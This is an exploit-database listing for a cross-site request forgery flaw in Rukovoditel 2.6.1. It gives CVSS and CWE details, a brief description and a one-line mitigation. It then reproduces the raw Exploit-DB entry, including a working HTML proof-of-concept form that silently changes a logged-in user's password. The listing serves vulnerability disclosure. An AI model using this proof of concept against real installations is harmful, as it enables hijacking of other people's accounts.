header-logo
Suggest Exploit
vendor:
Rukovoditel
by:
KeopssGroup0day,Inc
8.8
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: Rukovoditel
Affected Version From: 2.6.1
Affected Version To: 2.6.1
Patch Exists: NO
Related CWE: N/A
CPE: a:rukovoditel:rukovoditel:2.6.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2020

Rukovoditel 2.6.1 – Cross-Site Request Forgery (Change password)

A Cross-Site Request Forgery (CSRF) vulnerability exists in Rukovoditel 2.6.1 which allows an attacker to change the password of a user without their knowledge. This is achieved by sending a maliciously crafted request to the vulnerable application. The request contains a form session token and the new password which is set by the attacker. This vulnerability can be exploited by an attacker to gain access to the application.

Mitigation:

The application should implement a CSRF protection mechanism to prevent attackers from exploiting this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: Rukovoditel 2.6.1 - Cross-Site Request Forgery (Change 
password)
# Date: 2020-12-14
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: v2.6.1
# Tested on: Kali Linux

POC(localhost/index.php?module=users/change_password):

<html>
   <!-- CSRF PoC  -->
   <body>
   <script>history.pushState('', '', '/')</script>
     <form 
action="https://localhost/index.php?module=users/change_password&action=change" 
method="POST">
       <input type="hidden" name="form&#95;session&#95;token" 
value="D&#94;HUyTDh0X" />
       <input type="hidden" name="password&#95;new" value="123456789" />
       <input type="hidden" name="password&#95;confirmation" 
value="123456789" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
</html>


--